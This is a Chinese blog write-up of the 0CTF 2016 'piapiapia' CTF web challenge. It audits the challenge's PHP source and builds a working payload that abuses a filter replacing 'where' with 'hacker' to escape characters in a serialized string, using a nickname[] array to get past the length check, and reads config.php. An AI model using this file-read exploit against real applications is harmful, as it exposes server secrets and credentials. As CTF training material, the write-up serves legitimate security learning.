[WP/BUU] [0CTF 2016]piapiapia

最新推荐文章于 2022-01-15 21:59:41 发布

車鈊

最新推荐文章于 2022-01-15 21:59:41 发布

阅读量218

点赞数

分类专栏： # 凌晨四点起床刷题 # Web安全文章标签：反序列化

本文链接：https://blog.csdn.net/darknotes/article/details/120742006

版权

Web安全同时被 2 个专栏收录

38 篇文章 1 订阅

订阅专栏

凌晨四点起床刷题

17 篇文章 1 订阅

订阅专栏

www.zip可下载源码

审计源码

config.php

暗示flag在本文件

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

register.php

注册逻辑

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {

profile.php

part1

存在反序列化，对photo进行替换可读任意文件。

<?php
   require_once('class.php');
   if($_SESSION['username'] == null) {
      die('Login First');    
   }
   $username = $_SESSION['username'];
   $profile=$user->show_profile($username);
   if($profile  == null) {
      header('Location: update.php');
   }
   else {
       // 反序列化入口，条件为已经设置个人信息，头像部分存在读文件危险函数
      $profile = unserialize($profile);
      $phone = $profile['phone'];
      $email = $profile['email'];
      $nickname = $profile['nickname'];
      $photo = base64_encode(file_get_contents($profile['photo']));
?>

part2

后端传回的BASE64形式图片会显示在此处。

<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
        
		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
        
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

update.php

	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
		
		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');
		
		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
        // 长度限制,但可以加[]绕过
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');
		
        // 除大小无其他过滤
		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');
		
        // photo存入头像路径
        // 1.路径字符长度确定,存在字符逃逸风险
        // 2.file['name']若可知,路径可知,文件名可控,猜测可写入木马,权限足够则可进行利用
		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);
		// 序列化入口和数据库储存函数调用
		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}

class.php

part1

class user extends mysql{
	private $table = 'users';

	public function show_profile($username) {\
        // 存在过滤,关键字update被过滤,无法通过更新,修改photo路径
		$username = parent::filter($username);

		// 存在字符替换，利用此方法可以进行字符逃逸反序列化
		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
}

part2

class mysql {
	private $link = null;
	// 
	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		// 字符替换，条件：只有where字符串会产生一位的增加
		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
}

攻击

字符逃逸POC

register.php 注册
-> update.php 填写信息,抓包修改带有where的字符串,构造字符逃逸,读取指定文件
-> profile.php 对序列化字符串进行解析,显示数据

尝试构造相应字符串以便观察

$profile['phone'] = '13232132123';
$profile['email'] = '123213131@qq.com';
$profile['nickname'] = array('123');
$profile['photo'] = 'config.php';
$a = serialize($profile);
echo $a;

a:4:{s:5:"phone";s:11:"13232132123";s:5:"email";s:16:"123213131@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:10:"config.php";}
// 需要进行逃逸的部分
";}s:5:"photo";s:10:"config.php";}

根据路径构造替换文本

<?php
$profile['phone'] = '13232132123';
$profile['email'] = '123213131@qq.com';
$profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'upload/' . md5('1');
$a = serialize($profile);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
echo preg_replace($safe, 'hacker', $a);

最终payload,在update.php抓包

使用构造数组nickname[]进行绕过长度限制

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

访问profile.php,查看源码
请添加图片描述